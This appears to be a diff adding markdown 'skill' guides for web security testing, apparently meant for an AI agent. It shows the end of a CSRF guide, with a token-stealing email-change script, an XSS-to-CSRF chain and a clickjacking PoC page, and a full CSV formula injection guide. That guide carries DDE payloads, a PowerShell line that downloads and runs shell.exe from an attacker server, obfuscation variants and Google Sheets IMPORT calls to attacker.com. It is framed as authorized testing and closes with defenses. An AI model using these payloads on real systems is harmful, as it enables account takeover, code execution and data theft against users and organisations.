+ ```
437
+
438
+ ```javascript
439
+ fetch('https://target.com/api/profile', {credentials: 'include'})
440
+ .then(r => r.json())
441
+ .then(data => {
442
+ fetch('https://target.com/api/change-email', {
443
+ method: 'POST',
444
+ credentials: 'include',
445
+ headers: {
446
+ 'Content-Type': 'application/json',
447
+ 'X-CSRF-Token': data.csrf_token
448
+ },
449
+ body: JSON.stringify({email: 'attacker@evil.com'})
450
+ });
451
+ });
452
+ ```
453
+
454
+ ### Subdomain XSS → CORS → CSRF
455
+
456
+ If `*.target.com` is in the CORS allowlist and an XSS exists on any subdomain:
457
+ 1. Exploit XSS on `blog.target.com`
458
+ 2. From XSS context, fetch API at `api.target.com` (CORS allows subdomain)
459
+ 3. Read CSRF token from response
460
+ 4. Submit state-changing request with valid token
461
+
462
+ ---
463
+
464
+ ## 16. CSRF TOKEN FIXATION (PRE-SESSION TOKENS)
465
+
466
+ If CSRF tokens are issued before authentication and remain valid after login:
467
+
468
+ ```text
469
+ 1. Attacker visits target.com → receives CSRF token T1
470
+ 2. Attacker forces victim's browser to use T1:
471
+ a. Cookie tossing from subdomain
472
+ b. CRLF injection to set csrf_cookie
473
+ 3. Victim logs in — CSRF token unchanged
474
+ 4. Attacker submits CSRF request with known T1 → succeeds
475
+ ```
476
+
477
+ ### Test procedure
478
+
479
+ ```text
480
+ □ Obtain CSRF token as unauthenticated user
481
+ □ Log in — does the CSRF token change?
482
+ □ If unchanged → token fixation: pre-auth token works post-auth
483
+ □ Use pre-auth token in a CSRF PoC against authenticated endpoint
484
+ ```
485
+
486
+ ---
487
+
488
+ ## 17. CLICKJACKING AS CSRF BYPASS
489
+
490
+ When CSRF protections are solid but `X-Frame-Options` / `frame-ancestors` is missing:
491
+
492
+ ### Attack flow
493
+
494
+ ```text
495
+ 1. Target page is frameable (no X-Frame-Options / CSP frame-ancestors)
496
+ 2. Attacker creates transparent iframe overlay
497
+ 3. Victim sees attacker content, clicks land on target's action button in hidden iframe
498
+ 4. Click originates from same origin (within iframe) — bypasses CSRF tokens
499
+ ```
500
+
501
+ ### PoC template
502
+
503
+ ```html
504
+ <html>
505
+ <body>
506
+ <div style="position:relative">
507
+ <iframe src="https://target.com/account/settings"
508
+ style="opacity:0.0001; position:absolute; top:0; left:0;
509
+ width:500px; height:500px; z-index:2;">
510
+ </iframe>
511
+ <button style="position:absolute; top:250px; left:200px; z-index:1;
512
+ padding:20px; font-size:24px;">
513
+ Click to claim prize!
514
+ </button>
515
+ </div>
516
+ </body>
517
+ </html>
518
+ ```
519
+
520
+ ### Defense check
521
+
522
+ ```text
523
+ □ X-Frame-Options: DENY or SAMEORIGIN header present?
524
+ □ CSP: frame-ancestors 'self' or frame-ancestors 'none'?
525
+ □ If neither → clickjacking possible → CSRF bypass via iframe
526
+ ```
@@ -0,0 +1,144 @@
1
+ ---
2
+ name: csv-formula-injection
3
+ description: >-
4
+ CSV/spreadsheet formula injection (DDE, Excel/LibreOffice, Google Sheets IMPORT*). Use when exports, imports, or user fields feed spreadsheets or reporting tools.gated: true
5
+ ---
6
+
7
+ # SKILL: CSV Formula Injection
8
+
9
+ > **AI LOAD INSTRUCTION**: This skill covers formula/DDE-style injection in CSV and spreadsheet contexts, obfuscation, cloud-sheet primitives, and safe testing methodology. Use only where **explicitly authorized**; payloads that invoke local commands or remote fetches are **impactful**—prefer lab targets and document consent. Do not target end users without program rules allowing client-side execution tests.
10
+
11
+ ## 0. QUICK START
12
+
13
+ Characters that may trigger formula evaluation when a cell is opened in Excel, LibreOffice Calc, or similar (often only if the cell is interpreted as a formula):
14
+
15
+ ```text
16
+ =
17
+ +
18
+ -
19
+ @
20
+ ```
21
+
22
+ Test cells may look like:
23
+
24
+ ```csv
25
+ name,value
26
+ test,=1+1
27
+ test,+1+1
28
+ test,-1+1
29
+ test,@SUM(1+1)
30
+ ```
31
+
32
+ **Routing note**: when testing CSV exports, back-office reports, or user data opened in spreadsheets, prioritize these prefix characters.
33
+
34
+ ---
35
+
36
+ ## 1. DDE INJECTION (EXCEL / LIBREOFFICE)
37
+
38
+ Dynamic Data Exchange (DDE) and external call patterns historically abused in spreadsheets. Examples for **controlled lab** reproduction:
39
+
40
+ ```text
41
+ DDE("cmd";"/C calc";"!A0")A0
42
+ ```
43
+
44
+ ```text
45
+ @SUM(1+1)*cmd|' /C calc'!A0
46
+ ```
47
+
48
+ ```text
49
+ =2+5+cmd|' /C calc'!A0
50
+ ```
51
+
52
+ ```text
53
+ =cmd|' /C calc'!'A1'
54
+ ```
55
+
56
+ PowerShell-style chaining (lab only; replace host and payload with benign equivalents):
57
+
58
+ ```text
59
+ =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
60
+ ```
61
+
62
+ ---
63
+
64
+ ## 2. OBFUSCATION
65
+
66
+ Defensive parsers may strip obvious patterns; testers may try noise and spacing (still only where allowed):
67
+
68
+ ```text
69
+ AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
70
+ ```
71
+
72
+ Extra whitespace after `=`:
73
+
74
+ ```text
75
+ = cmd|'/c calc.exe'!A
76
+ ```
77
+
78
+ Dispersed characters / unusual spacing (conceptual pattern—adjust per parser):
79
+
80
+ ```text
81
+ = C m D |'/c calc.exe'!A
82
+ ```
83
+
84
+ `rundll32` style:
85
+
86
+ ```text
87
+ =rundll32|'URL.dll,OpenURL calc.exe'!A
88
+ ```
89
+
90
+ ---
91
+
92
+ ## 3. GOOGLE SHEETS
93
+
94
+ If exported data is later opened in **Google Sheets**, or sheets pull from untrusted CSV, these functions can cause **outbound requests** or **cross-document data pulls**:
95
+
96
+ **Data exfiltration / probe (replace URL with your authorized callback):**
97
+
98
+ ```text
99
+ =IMPORTXML("http://attacker.com/", "//a/@href")
100
+ ```
101
+
102
+ Other high-risk imports:
103
+
104
+ ```text
105
+ =IMPORTRANGE("spreadsheet_url", "range")
106
+ =IMPORTHTML("http://attacker.com/table", "table", 1)
107
+ =IMPORTFEED("http://attacker.com/feed.xml")
108
+ =IMPORTDATA("http://attacker.com/data.csv")
109
+ ```
110
+
111
+ Document which function executed and what network side effects occurred.
112
+
113
+ ---
114
+
115
+ ## 4. TESTING METHODOLOGY
116
+
117
+ 1. **Map sinks** — Any feature that emits **CSV, XLSX, or tab-separated** output: admin exports, audit logs, user rosters, billing reports, search results.
118
+ 2. **Trace user-controlled fields** — Profile fields, ticket titles, transaction memos, tags, filenames in ZIP exports—any column that echoes stored input.
119
+ 3. **Inject formula prefixes** — Start with benign arithmetic (`=1+1`, `+1+1`) to detect evaluation; escalate only per rules.
120
+ 4. **Open in target software** — Match victim workflow: Excel desktop, LibreOffice, Google Sheets import, locale-specific decimal separators.
121
+ 5. **Evidence** — Screenshot/capture whether the cell shows a calculated result, a security warning, or DDE prompt; note product version.
122
+
123
+ **Note**: focus on the `user input -> export -> opened in spreadsheet software` chain.
124
+
125
+ ---
126
+
127
+ ## 5. DEFENSE
128
+
129
+ Application and export-layer mitigations:
130
+
131
+ - **Prefix with single quote** — In many spreadsheet apps, leading `'` forces **text** interpretation: `'=cmd|...` displays literally.
132
+ - **Prefix with tab** — Some pipelines treat tab-prefixed fields as non-formula text when ingested correctly.
133
+ - **Strip or neutralize leading triggers** — Remove or escape leading `=`, `+`, `-`, `@` (and Unicode lookalikes) at export time.
134
+ - **CSV encoding** — Use consistent quoting; validate column types; avoid passing raw formula strings into financial/reporting templates without sanitization.
135
+ - **User education** — Do not enable external data / DDE without policy.
136
+
137
+ Example safe export transformation (conceptual):
138
+
139
+ ```text
140
+ Input: =1+1
141
+ Output: '=1+1 OR \t=1+1 OR (empty prefix) with escaped quotes per RFC 4180
142
+ ```
143
+
144
+ **Note**: when correlating business exports, reports, and API export parameters, combine with injection, business-logic, and API-security skills.